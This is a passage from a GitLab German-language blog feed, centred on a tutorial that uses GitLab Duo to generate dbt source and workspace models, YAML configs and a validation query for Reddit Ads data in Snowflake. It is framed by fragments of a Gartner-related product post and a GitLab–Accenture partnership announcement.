<li><strong>Mensch + Agent Kollaboration</strong> erfolgt über natürlichsprachlichen Chat und anpassbare Workflows mit integrierter Überprüfung und Kontrolle.</li>
<li><strong>Interoperabilität mit externen Tools und Systemen</strong> wird durch Model Context Protocol (MCP) und Agent-zu-Agent-Frameworks unterstützt.</li>
</ul>
<p>Wenn Agenten Routinearbeiten unter menschlicher Anleitung übernehmen, können Teams schneller arbeiten, sich auf wertvollere Aufgaben konzentrieren und Projekte sicher sowie compliant halten.</p>
<h2>Security by Design, flexibel in der Praxis</h2>
<p>Die GitLab Duo Agent Platform wurde entwickelt, um Sicherheit und Compliance in den Mittelpunkt zu stellen. Agenten laufen innerhalb von GitLabs vertrauenswürdiger DevSecOps-Umgebung, wobei jede Aktion sichtbar und überprüfbar ist, bevor Änderungen vorgenommen werden. Sichere Integrationen gewährleisten, dass Credentials und sensible Daten geschützt verarbeitet werden, während Interoperabilität durch offene Standards Agenten mit externen Tools verbindet, ohne das Unternehmen Risiken auszusetzen.</p>
<p>Die Plattform gibt Teams die Gewissheit, dass KI die Produktivität steigert, ohne die Governance zu kompromittieren. So funktioniert es:</p>
<ul>
<li><strong>Entwickler(innen)</strong> können sich auf komplexe, wirkungsvolle Arbeit konzentrieren, während sie Routineaufgaben an Agenten delegieren – für schnellere Ergebnisse und detaillierteren Kontext, der über ihre bestehenden Workflows bereitgestellt wird.</li>
<li><strong>Engineering-Führungskräfte</strong> erhalten Einblick in die Bewegung der Arbeit über den Lebenszyklus, wobei Agenten innerhalb klarer Leitplanken operieren. Sie können zudem sicherstellen, dass ihre Teams auf Prioritäten ausgerichtet bleiben und das Onboarding durch Agent-gestützte Kontexte und Workflows vereinfachen.</li>
<li><strong>IT-Organisationen</strong> behalten die Kontrolle über Agent-Aktivitäten mit Governance-Funktionen, die Coding- und Sicherheitsrichtlinien durchsetzen, Modellauswahlflexibilität bieten und sichere Interoperabilität gewährleisten – alles bei kontinuierlicher menschlicher Kontrolle.</li>
</ul>
<h2>Führend beim Übergang zur KI-nativen Entwicklung</h2>
<p>GitLab baut weiterhin auf der Vision auf, die mit Duo begann, und wird die GitLab Duo Agent Platform kontinuierlich mit neuen Agenten, erweiterten Workflows und mehr Orchestrierungsfunktionen ausbauen. Dieses Engagement für Innovation stellt sicher, dass die Produktivität deines Teams auf der Plattform gesteigert wird. Bleib gespannt auf kommende Updates zu unserer Roadmap. Wir revolutionieren weiterhin die KI-native DevSecOps.</p>
<blockquote>
<p><a href="https://about.gitlab.com/de-de/gartner-mq-ai-code-assistants/">Den 2025 Gartner® Magic Quadrant™ für AI Code Assistants herunterladen</a> und <a href="https://about.gitlab.com/de-de/gitlab-duo/agent-platform/">GitLab Duo Agent Platform heute ausprobieren</a>.</p>
</blockquote>
<p><em>Quelle: Gartner, Magic Quadrant for AI Code Assistants, Philip Walsh, Haritha Khandabattu, Matt Brasier, Keith Holloway, Arun Batchu, 15. September 2025</em></p>
<p><em>GARTNER ist eine eingetragene Marke und Dienstleistungsmarke von Gartner, Inc. und/oder seinen Tochtergesellschaften in den USA und international, und MAGIC QUADRANT ist eine eingetragene Marke von Gartner, Inc. und/oder seinen Tochtergesellschaften und wird hier mit Genehmigung verwendet. Alle Rechte vorbehalten.</em></p>
<p><em>Gartner unterstützt keinen Anbieter, kein Produkt oder keine Dienstleistung, die in seinen Forschungspublikationen dargestellt werden, und rät Technologieanwendern nicht, nur die Anbieter mit den höchsten Bewertungen oder anderen Auszeichnungen auszuwählen. Gartner-Forschungspublikationen bestehen aus den Meinungen der Gartner-Forschungsorganisation und sollten nicht als Tatsachenbehauptungen ausgelegt werden. Gartner lehnt alle ausdrücklichen oder stillschweigenden Garantien in Bezug auf diese Forschung ab, einschließlich aller Garantien der Marktgängigkeit oder Eignung für einen bestimmten Zweck.</em></p>
<p><em>Diese Grafik wurde von Gartner Inc. als Teil eines größeren Berichts veröffentlicht und sollte im Kontext des gesamten Dokuments bewertet werden. Das Gartner-Dokument ist auf Anfrage von Gartner B.V. erhältlich.</em></p>
]]></content>
        <author>
            <name>Manav Khurana</name>
            <uri>https://about.gitlab.com/blog/authors/manav-khurana</uri>
        </author>
        <published>2025-09-17T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Wie du mit der GitLab Duo Agent Platform deine DataOps transformiert]]></title>
        <id>https://about.gitlab.com/de-de/blog/how-gitlab-duo-agent-platform-transforms-dataops/</id>
        <link href="https://about.gitlab.com/de-de/blog/how-gitlab-duo-agent-platform-transforms-dataops/"/>
        <updated>2025-09-16T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Die manuelle Erstellung von dbt-Modellen ist ein mühsamer Prozess, der
Stunden an Arbeitszeit verschlingt. Besonders wenn keine (größeren)
Geschäftstransformationen vorgenommen werden, gehört diese Aufgabe nicht zu
den attraktivsten Tätigkeiten eines Dateningenieurs.</p>
<p>Aber was wäre, wenn du diesen gesamten Prozess automatisieren könntest? In dieser Anleitung zeige ich dir genau, wie <a href="https://about.gitlab.com/de-de/gitlab-duo/agent-platform/">GitLab Duo Agent Platform</a> umfassende dbt-Modelle in nur wenigen Minuten generiert – komplett mit ordnungsgemäßer Struktur, Tests und Dokumentation.</p>
<h2>Was wir aufbauen</h2>
<p>Unser Marketing-Team möchte Werbeinvestitionen effektiv verwalten und optimieren. Eine der Werbeplattformen ist Reddit, daher extrahieren wir Daten von der Reddit Ads API in unsere unternehmensweite <a href="https://handbook.gitlab.com/handbook/enterprise-data/platform/">Datenplattform</a> Snowflake. Bei GitLab haben wir drei Speicherebenen:</p>
<ol>
<li>
<p><code>raw</code>-Ebene – erster Landepunkt für unverarbeitete Daten aus externen Quellen; noch nicht für geschäftliche Nutzung bereit</p>
</li>
<li>
<p><code>prep</code>-Ebene – erste Transformationsebene mit Quellmodellen; noch nicht für allgemeine geschäftliche Nutzung bereit</p>
</li>
<li>
<p><code>prod</code>-Ebene – final transformierte Daten, bereit für geschäftliche Nutzung und Tableau-Berichte</p>
</li>
</ol>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1758030995/zo7vespktzfdtdtiauz7.png" alt="Diagramm der Speicherebenen"></p>
<p>Für diese Anleitung sind die Daten bereits durch unsere Extraktionslösung Fivetran in der raw-Ebene gelandet, und wir werden dbt-Modelle generieren, die die Daten von der <code>prep</code>-Ebene zur <code>prod</code>-Ebene verarbeiten.</p>
<p>Ohne eine einzige Zeile dbt-Code selbst schreiben zu müssen, werden wir am Ende der Anleitung Folgendes haben:</p>
<ul>
<li>
<p><strong>Quellmodelle</strong> in der prep-Ebene</p>
</li>
<li>
<p><strong>Workspace-Modelle</strong> in der prod-Ebene</p>
</li>
<li>
<p><strong>Vollständige dbt-Konfigurationen</strong> für alle 13 Tabellen (einschließlich 112 Spalten) im Reddit Ads-Datensatz</p>
</li>
<li>
<p><strong>Test-Abfragen</strong> zur Validierung der Ergebnisse</p>
</li>
</ul>
<p>Der gesamte Prozess dauert weniger als 10 Minuten – im Vergleich zu den Stunden, die normalerweise dafür benötigt würden. Hier sind die zu befolgenden Schritte:</p>
<h2>1. Die Datenstruktur vorbereiten</h2>
<p>Bevor GitLab Duo unsere Modelle generieren kann, muss es die vollständige Tabellenstruktur verstehen. Der Schlüssel liegt darin, eine Abfrage gegen Snowflakes Informationsschema auszuführen, da wir derzeit untersuchen, wie wir GitLab Duo über das Model Context Protocol (<a href="https://about.gitlab.com/topics/ai/model-context-protocol/">MCP</a>) mit unserer Snowflake-Instanz verbinden können:</p>
<pre><code class="language-sql">
SELECT 
    table_name,
    column_name,
    data_type,
    is_nullable,
    CASE 
        WHEN is_nullable = 'NO' THEN 'PRIMARY_KEY'
        ELSE NULL 
    END as key_type
FROM raw.information_schema.columns

WHERE table_schema = 'REDDIT_ADS'

ORDER BY table_name, ordinal_position;

</code></pre>
<p>Diese Abfrage erfasst:</p>
<ul>
<li>
<p>Alle Tabellen- und Spaltennamen</p>
</li>
<li>
<p>Datentypen für die korrekte Modellstruktur</p>
</li>
<li>
<p>Nullable-Einschränkungen</p>
</li>
<li>
<p>Primärschlüssel-Identifikation (nicht-nullable Spalten in diesem Datensatz)</p>
</li>
</ul>
<p><strong>Profi-Tipp:</strong> Im Reddit Ads-Datensatz dienen alle nicht-nullable Spalten als Primärschlüssel – ein Muster. Ich habe dies überprüft, indem ich Tabellen wie <code>ad_group</code> kontrollierte, die zwei nicht-nullable Spalten (<code>account_id</code> und <code>id</code>) hat, die beide als Primärschlüssel markiert sind. Die Ausführung dieser Abfrage lieferte 112 Zeilen Metadaten, die ich als CSV-Datei für die Modellgenerierung exportierte. Während dieser manuelle Schritt heute gut funktioniert, untersuchen wir eine direkte Integration von GitLab Duo mit unserer Datenplattform über MCP, um diesen Prozess vollständig zu automatisieren.</p>
<h2>2. GitLab Duo einrichten</h2>
<p>Es gibt zwei Möglichkeiten, mit <a href="https://docs.gitlab.com/user/get_started/getting_started_gitlab_duo/">GitLab Duo</a> zu interagieren:</p>
<ol>
<li>
<p><strong>Web-UI-Chat-Funktion</strong></p>
</li>
<li>
<p><strong>Visual Studio Code-Plugin</strong></p>
</li>
</ol>
<p>Ich habe mich für das VS Code-Plugin entschieden, da ich die dbt-Modelle lokal ausführen kann, um sie zu testen.</p>
<h2>3. Den 'magischen' Prompt eingeben</h2>
<p>Hier ist der exakte Prompt, den ich zur Generierung des gesamten dbt-Codes verwendet habe:</p>
<pre><code class="language-yaml">
Create dbt models for all the tables in the file structure.csv.


I want to have the source models created, with a filter that dedupes the data based on the primary key. Create these in a new folder reddit_ads.

I want to have workspace models created and store these in the workspace_marketing schema.


Take this MR as example: [I've referenced to previous source implementation]. Here is the same done for Source A, but now it needs to be done for Reddit Ads. 


Please check the dbt style guide when creating the code: https://handbook.gitlab.com/handbook/enterprise-data/platform/dbt-guide/

</code></pre>
<p>Schlüsselelemente, die diesen Prompt effektiv machten:</p>
<ul>
<li>
<p><strong>Klare Spezifikationen</strong> für sowohl Quell- als auch Workspace-Modelle</p>
</li>
<li>
<p><strong>Referenzbeispiel</strong> aus einem vorherigen ähnlichen Merge Request</p>
</li>
<li>
<p><strong>Style Guide-Referenz</strong> zur Sicherstellung von Codequalität und Konsistenz</p>
</li>
<li>
<p><strong>Spezifisches Schema-Targeting</strong> für ordnungsgemäße Organisation</p>
</li>
</ul>
<h2>4. GitLab Duos Prozess</h2>
<p>Nach dem Einreichen des Prompts machte sich GitLab Duo an die Arbeit. Der gesamte Generierungsprozess dauerte einige Minuten, während dessen GitLab Duo:</p>
<ol>
<li>
<p><strong>Die CSV-Eingabedatei las und analysierte</strong></p>
</li>
<li>
<p><strong>Tabellenstrukturen aus den Metadaten untersuchte</strong></p>
</li>
<li>
<p><strong>Unseren dbt-Style-Guide als Referenz für Coding-Standards nutzte</strong></p>
</li>
<li>
<p><strong>Ähnliche Merge Requests berücksichtigte</strong> für die korrekte Strukturierung</p>
</li>
<li>
<p><strong>Quellmodelle für alle 13 Tabellen generierte</strong></p>
</li>
<li>
<p><strong>Workspace-Modelle für alle 13 Tabellen erstellte</strong></p>
</li>
<li>
<p><strong>Unterstützende dbt-Dateien generierte</strong>:</p>
<ul>
<li><code>sources.yml</code>-Konfiguration</li>
<li><code>schema.yml</code>-Dateien mit Tests und Dokumentation</li>
<li>Aktualisierte <code>dbt_project.yml</code> mit Schema-Referenzen</li>
</ul>
</li>
</ol>
<h2>Die Ergebnisse</h2>
<p>Die Ausgabe war bemerkenswert:</p>
<ul>
<li>
<p><strong>1 modifizierte Datei:</strong> dbt_project.yml (reddit_ads Schema-Konfiguration hinzugefügt)</p>
</li>
<li>
<p><strong>29 neue Dateien:</strong></p>
<ul>
<li><strong>26 dbt-Modelle</strong> (13 Quell- + 13 Workspace-Modelle)</li>
<li><strong>3 YAML-Dateien</strong></li>
</ul>
</li>
<li>
<p><strong>Fast 900 Zeilen Code</strong> automatisch generiert</p>
</li>
<li>
<p><strong>Integrierte Daten-Tests,</strong> einschließlich Unique-Constraints auf Primärschlüssel-Spalten</p>
</li>
<li>
<p><strong>Generische Beschreibungen</strong> für alle Modelle und Spalten</p>
</li>
<li>
<p><strong>Saubere Deduplizierungs-Logik</strong> in Quellmodellen</p>
</li>
<li>
<p><strong>Saubere, konsistente Code-Struktur</strong> gemäß dem GitLab dbt-Style-Guide</p>
</li>
</ul>
<pre><code class="language-yaml">
transform/snowflake-dbt/

├── dbt_project.yml                                                    [MODIFIZIERT]

└── models/
    ├── sources/
    │   └── reddit_ads/
    │       ├── reddit_ads_ad_group_source.sql                        [NEU]
    │       ├── reddit_ads_ad_source.sql                              [NEU]
    │       ├── reddit_ads_business_account_source.sql                [NEU]
    │       ├── reddit_ads_campaign_source.sql                        [NEU]
    │       ├── reddit_ads_custom_audience_history_source.sql         [NEU]
    │       ├── reddit_ads_geolocation_source.sql                     [NEU]
    │       ├── reddit_ads_interest_source.sql                        [NEU]
    │       ├── reddit_ads_targeting_community_source.sql             [NEU]
    │       ├── reddit_ads_targeting_custom_audience_source.sql       [NEU]
    │       ├── reddit_ads_targeting_device_source.sql                [NEU]
    │       ├── reddit_ads_targeting_geolocation_source.sql           [NEU]
    │       ├── reddit_ads_targeting_interest_source.sql              [NEU]
    │       ├── reddit_ads_time_zone_source.sql                       [NEU]
    │       ├── schema.yml                                            [NEU]
    │       └── sources.yml                                           [NEU]
    └── workspaces/
        └── workspace_marketing/
            └── reddit_ads/
                ├── schema.yml                                        [NEU]
                ├── wk_reddit_ads_ad.sql                              [NEU]
                ├── wk_reddit_ads_ad_group.sql                        [NEU]
                ├── wk_reddit_ads_business_account.sql                [NEU]
                ├── wk_reddit_ads_campaign.sql                        [NEU]
                ├── wk_reddit_ads_custom_audience_history.sql         [NEU]
                ├── wk_reddit_ads_geolocation.sql                     [NEU]
                ├── wk_reddit_ads_interest.sql                        [NEU]
                ├── wk_reddit_ads_targeting_community.sql             [NEU]
                ├── wk_reddit_ads_targeting_custom_audience.sql       [NEU]
                ├── wk_reddit_ads_targeting_device.sql                [NEU]
                ├── wk_reddit_ads_targeting_geolocation.sql           [NEU]
                ├── wk_reddit_ads_targeting_interest.sql              [NEU]
                └── wk_reddit_ads_time_zone.sql                       [NEU]
</code></pre>
<h3>Beispiel des generierten Codes</h3>
<p>Hier ist ein Beispiel für die Qualität des generierten Codes. Für die <code>time_zone</code>-Tabelle erstellte GitLab Duo:</p>
<p><strong>Prep-Ebene Quellmodell</strong></p>
<pre><code class="language-sql">
WITH source AS (
  SELECT *
  FROM {{ source('reddit_ads','time_zone') }}
  QUALIFY ROW_NUMBER() OVER (PARTITION BY id ORDER BY _fivetran_synced DESC) = 1
),


renamed AS (
  SELECT
    id::VARCHAR                               AS time_zone_id,
    code::VARCHAR                             AS time_zone_code,
    dst_offset::NUMBER                        AS time_zone_dst_offset,
    is_dst_active::BOOLEAN                    AS is_time_zone_dst_active,
    name::VARCHAR                             AS time_zone_name,
    offset::NUMBER                            AS time_zone_offset,
    _fivetran_synced::TIMESTAMP               AS fivetran_synced_at
  FROM source
)


SELECT * FROM renamed

</code></pre>
<p><strong>Schema.yml</strong></p>
<pre><code class="language-yaml">
models:
  - name: reddit_ads_time_zone_source
    description: Zeitzonendaten aus dem Reddit Ads-System
    columns:
      - name: time_zone_id
        description: Eindeutige Kennung für Zeitzoneneinträge
        data_tests:
          - unique
          - not_null
      - name: time_zone_code
        description: Code für die Zeitzone
      - name: time_zone_dst_offset
        description: Sommerzeitverschiebung für die Zeitzone
      - name: is_time_zone_dst_active
        description: Flag, das angibt, ob Sommerzeit aktiv ist
      - name: time_zone_name
        description: Name der Zeitzone
      - name: time_zone_offset
        description: Verschiebung für die Zeitzone
      - name: fivetran_synced_at
        description: Zeitstempel, wann der Datensatz zuletzt von Fivetran synchronisiert wurde
</code></pre>
<p><strong>Source.yml</strong></p>
<pre><code class="language-yaml">
sources:
  - name: reddit_ads
    database: RAW
    schema: reddit_ads
    loaded_at_field: _fivetran_synced
    loader: fivetran
    description: Reddit Ads-Daten

    quoting:
      database: true
      schema: false
      identifier: false

    tables:
      - name: time_zone
</code></pre>
<p><strong>Workspace-Modell</strong></p>
<pre><code class="language-sql">
WITH source AS (
  SELECT *
  FROM {{ ref('reddit_ads_time_zone_source') }}
)


SELECT * FROM source

</code></pre>
<h2>5. Qualitätsvalidierung</h2>
<p>Nachdem der Code gut aussah, habe ich ihn zum MR gepusht und die <a href="https://handbook.gitlab.com/handbook/enterprise-data/platform/ci-jobs/#build_changes">CI-Test-Pipeline</a> ausgeführt, um den Code zu testen und das Ergebnis zu validieren. Ich bat GitLab Duo, eine Validierungsabfrage zu erstellen:</p>
<pre><code class="language-yaml">
Create a test query to test the row counts between the raw layer and the workspace layer. Keep in mind that we do deduplication, so we can compare both using distinct on the primary keys.

</code></pre>
<p>Die KI generierte eine umfassende Validierungsabfrage, die:</p>
<ul>
<li>
<p>Zeilenanzahlen zwischen raw- und workspace-Ebenen verglich</p>
</li>
<li>
<p>Die Deduplizierungs-Logik berücksichtigte</p>
</li>
<li>
<p>Alle 13 Tabellen testete</p>
</li>
<li>
<p>Datenerhaltungsprozentsätze berechnete</p>
</li>
</ul>
<p>&lt;details&gt;</p>
<p>&lt;summary&gt;Generierte SQL-Test-Abfrage&lt;/summary&gt;</p>
<pre><code class="language-sql">
-- Reddit Ads Zeilenanzahl-Validierungstest

-- Vergleicht eindeutige Zählungen zwischen RAW-Ebene und WORKSPACE_MARKETING-Ebene

-- Berücksichtigt Deduplizierungs-Logik in Quellmodellen


WITH raw_counts AS (
  -- Tabellen mit einzelnem Primärschlüssel
  SELECT 'ad' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.AD
  
  UNION ALL
  
  SELECT 'business_account' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.BUSINESS_ACCOUNT
  
  UNION ALL
  
  SELECT 'campaign' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.CAMPAIGN
  
  UNION ALL
  
  SELECT 'custom_audience_history' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.CUSTOM_AUDIENCE_HISTORY
  
  UNION ALL
  
  SELECT 'geolocation' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.GEOLOCATION
  
  UNION ALL
  
  SELECT 'interest' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.INTEREST
  
  UNION ALL
  
  SELECT 'time_zone' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.TIME_ZONE
  
  -- Tabellen mit zusammengesetzten Primärschlüsseln
  UNION ALL
  
  SELECT 'ad_group' AS table_name, COUNT(DISTINCT CONCAT(account_id, '|', id)) AS raw_count
  FROM RAW.REDDIT_ADS.AD_GROUP
  
  UNION ALL
  
  SELECT 'targeting_community' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', community_id)) AS raw_count
  FROM RAW.REDDIT_ADS.TARGETING_COMMUNITY
  
  UNION ALL
  
  SELECT 'targeting_custom_audience' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', custom_audience_id)) AS raw_count
  FROM RAW.REDDIT_ADS.TARGETING_CUSTOM_AUDIENCE
  
  UNION ALL
  
  SELECT 'targeting_device' AS table_name, COUNT(DISTINCT _fivetran_id) AS raw_count
  FROM RAW.REDDIT_ADS.TARGETING_DEVICE
  
  UNION ALL
  
  SELECT 'targeting_geolocation' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', geolocation_id)) AS raw_count
  FROM RAW.REDDIT_ADS.TARGETING_GEOLOCATION
  
  UNION ALL
  
  SELECT 'targeting_interest' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', interest_id)) AS raw_count
  FROM RAW.REDDIT_ADS.TARGETING_INTEREST
),


workspace_counts AS (
  -- Workspace-Ebene zählt unter Verwendung von Primärschlüsseln aus schema.yml
  SELECT 'ad' AS table_name, COUNT(DISTINCT ad_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_AD
  
  UNION ALL
  
  SELECT 'business_account' AS table_name, COUNT(DISTINCT business_account_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_BUSINESS_ACCOUNT
  
  UNION ALL
  
  SELECT 'campaign' AS table_name, COUNT(DISTINCT campaign_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_CAMPAIGN
  
  UNION ALL
  
  SELECT 'custom_audience_history' AS table_name, COUNT(DISTINCT custom_audience_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_CUSTOM_AUDIENCE_HISTORY
  
  UNION ALL
  
  SELECT 'geolocation' AS table_name, COUNT(DISTINCT geolocation_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_GEOLOCATION
  
  UNION ALL
  
  SELECT 'interest' AS table_name, COUNT(DISTINCT interest_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_INTEREST
  
  UNION ALL
  
  SELECT 'time_zone' AS table_name, COUNT(DISTINCT time_zone_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TIME_ZONE
  
  -- Tabellen mit zusammengesetzten Primärschlüsseln
  UNION ALL
  
  SELECT 'ad_group' AS table_name, COUNT(DISTINCT CONCAT(ad_group_account_id, '|', ad_group_id)) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_AD_GROUP
  
  UNION ALL
  
  SELECT 'targeting_community' AS table_name, COUNT(DISTINCT CONCAT(targeting_community_ad_group_id, '|', targeting_community_id)) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_COMMUNITY
  
  UNION ALL
  
  SELECT 'targeting_custom_audience' AS table_name, COUNT(DISTINCT CONCAT(targeting_custom_audience_ad_group_id, '|', targeting_custom_audience_id)) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_CUSTOM_AUDIENCE
  
  UNION ALL
  
  SELECT 'targeting_device' AS table_name, COUNT(DISTINCT targeting_device_fivetran_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_DEVICE
  
  UNION ALL
  
  SELECT 'targeting_geolocation' AS table_name, COUNT(DISTINCT CONCAT(targeting_geolocation_ad_group_id, '|', targeting_geolocation_id)) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_GEOLOCATION
  
  UNION ALL
  
  SELECT 'targeting_interest' AS table_name, COUNT(DISTINCT CONCAT(targeting_interest_ad_group_id, '|', targeting_interest_id)) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_INTEREST
)


-- Abschließender Vergleich mit Validierungsergebnissen

SELECT 
  r.table_name,
  r.raw_count,
  w.workspace_count,
  r.raw_count - w.workspace_count AS count_difference,
  CASE 
    WHEN r.raw_count = w.workspace_count THEN '✅ BESTANDEN'
    WHEN r.raw_count &gt; w.workspace_count THEN '⚠️ RAW &gt; WORKSPACE (Erwartet durch Deduplizierung)'
    ELSE '❌ FEHLGESCHLAGEN - WORKSPACE &gt; RAW (Unerwartet)'
  END AS validation_status,
  ROUND((w.workspace_count::FLOAT / r.raw_count::FLOAT) * 100, 2) AS data_retention_percentage
FROM raw_counts r

JOIN workspace_counts w ON r.table_name = w.table_name

ORDER BY r.table_name;

</code></pre>
<p>&lt;/details&gt;</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1758030995/guicjhzwvrz3czwjs3xo.png" alt="Tabelle mit Abfrageergebnissen"></p>
<p>Die Ausführung dieser Abfrage zeigte:</p>
<ul>
<li>
<p><strong>Null Unterschiede</strong> in der Zeilenanzahl nach Deduplizierung</p>
</li>
<li>
<p><strong>100% Datenerhaltung</strong> über alle Tabellen hinweg</p>
</li>
<li>
<p><strong>Alle Tests erfolgreich bestanden</strong></p>
</li>
</ul>
<h2>Das Fazit: Massive Zeitersparnis</h2>
<ul>
<li>
<p><strong>Traditioneller Ansatz:</strong> 6-8 Stunden manuelles Programmieren, Testen und Debugging</p>
</li>
<li>
<p><strong>GitLab Duo-Ansatz:</strong> 6-8 Minuten Generierung + Überprüfungszeit</p>
</li>
</ul>
<p>Dies bedeutet eine 60-fache Verbesserung der Entwicklereffizienz (von 6-8 Stunden auf 6-8 Minuten) bei gleichbleibend hoher Codequalität.</p>
<h2>Best Practices für den Erfolg</h2>
<p>Basierend auf dieser Erfahrung sind hier die wichtigsten Empfehlungen:</p>
<h3>Bereite deine Metadaten vor</h3>
<ul>
<li>
<p>Extrahiere vollständige Tabellenstrukturen einschließlich Datentypen und Einschränkungen</p>
</li>
<li>
<p>Identifiziere Primärschlüssel und Beziehungen im Voraus</p>
</li>
<li>
<p>Exportiere saubere, gut formatierte CSV-Eingabedateien</p>
</li>
</ul>
<p><strong>Hinweis:</strong> Durch die Verbindung von GitLab Duo über MCP mit deinen (Meta-)Daten könntest du diesen manuellen Schritt ausschließen.</p>
<h3>Biete klaren Kontext</h3>
<ul>
<li>
<p>Referenziere nach Möglichkeit bestehende Beispiel-MRs</p>
</li>
<li>
<p>Spezifiziere deine Codierungsstandards und Style Guides</p>
</li>
<li>
<p>Sei explizit bei Ordnerstruktur und Namenskonventionen</p>
</li>
</ul>
<h3>Validiere gründlich</h3>
<ul>
<li>
<p>Erstelle immer Validierungsabfragen für die Datenintegrität</p>
</li>
<li>
<p>Teste lokal vor dem Mergen</p>
</li>
<li>
<p>Führe deine CI/CD-Pipeline aus, um Probleme zu erkennen</p>
</li>
</ul>
<h3>Nutze KI für Folgeaufgaben</h3>
<ul>
<li>
<p>Generiere Testabfragen automatisch</p>
</li>
<li>
<p>Erstelle Dokumentationsvorlagen</p>
</li>
<li>
<p>Baue Validierungsskripte</p>
</li>
</ul>
<h2>Was kommt als Nächstes</h2>
<p>Diese Demonstration zeigt, wie KI-gestützte Entwicklungstools wie GitLab Duo auch Data-Engineering-Workflows transformieren. Die Fähigkeit, Hunderte von Zeilen produktionsreifem Code in Minuten zu generieren – komplett mit Tests, Dokumentation und ordnungsgemäßer Struktur – stellt einen fundamentalen Wandel dar, wie wir an repetitive Entwicklungsaufgaben herangehen.</p>
<p>Indem wir KI nutzen, um die repetitiven Aspekte der dbt-Modellerstellung zu bewältigen, können sich Dateningenieure auf Aktivitäten mit höherem Wert konzentrieren, wie Datenmodellierungsstrategie, Performance-Optimierung und Implementierung von Geschäftslogik.</p>
<p><strong>Bereit, es selbst auszuprobieren?</strong> Beginne mit einem kleinen Datensatz, bereite deine Metadaten sorgfältig vor und sieh zu, wie GitLab Duo Stunden an Arbeit in Minuten automatisierter Generierung verwandelt.</p>
<blockquote>
<p><a href="https://about.gitlab.com/de-de/gitlab-duo/agent-platform/">Teste GitLab Duo Agent Platform noch heute.</a></p>
</blockquote>
<h2>Weiterlesen</h2>
<ul>
<li>
<p><a href="https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/">GitLab 18.3: KI-Orchestrierung im Software Engineering erweitern</a></p>
</li>
<li>
<p><a href="https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-public-beta/">GitLab Duo Agent Platform Public Beta: Next-Gen KI-Orchestrierung und mehr</a></p>
</li>
</ul>
]]></content>
        <author>
            <name>Dennis van Rooijen</name>
            <uri>https://about.gitlab.com/blog/authors/dennis-van rooijen</uri>
        </author>
        <published>2025-09-16T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab und Accenture geben globale Vertriebsvereinbarung bekannt]]></title>
        <id>https://about.gitlab.com/de-de/blog/gitlab-and-accenture-announce-global-reseller-agreement/</id>
        <link href="https://about.gitlab.com/de-de/blog/gitlab-and-accenture-announce-global-reseller-agreement/"/>
        <updated>2025-09-15T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Wir freuen uns bekannt zu geben, dass GitLab und Accenture eine globale Vertriebsvereinbarung unterzeichnet haben, die Accenture als autorisierten GitLab-Vertriebspartner und Professional Services Provider etabliert. Diese Vereinbarung ermöglicht es Accenture, die vollständige DevSecOps-Plattform von GitLab direkt an Kunden über verschiedene Vertriebskanäle zu liefern, einschließlich des AWS Marketplace.</p>
<h2>Ein Meilenstein in der Zusammenarbeit</h2>
<p>Diese Zusammenarbeit kombiniert die umfassende, intelligente DevSecOps-Plattform von GitLab mit Accentures weitreichender Expertise in digitaler Transformation und Implementierungsdienstleistungen. Dies ermöglicht Organisationen, sichere Software in großem Maßstab zu entwickeln und bereitzustellen. Die globale Vertriebsvereinbarung bietet einen weltweiten Rahmen, der flexibel an lokale Bedingungen angepasst werden kann.</p>
<h2>Die Zusammenarbeit wird sich zunächst auf mehrere Schlüsselbereiche konzentrieren:</h2>
<p><strong>DevSecOps-Transformation im Unternehmensmaßstab:</strong>
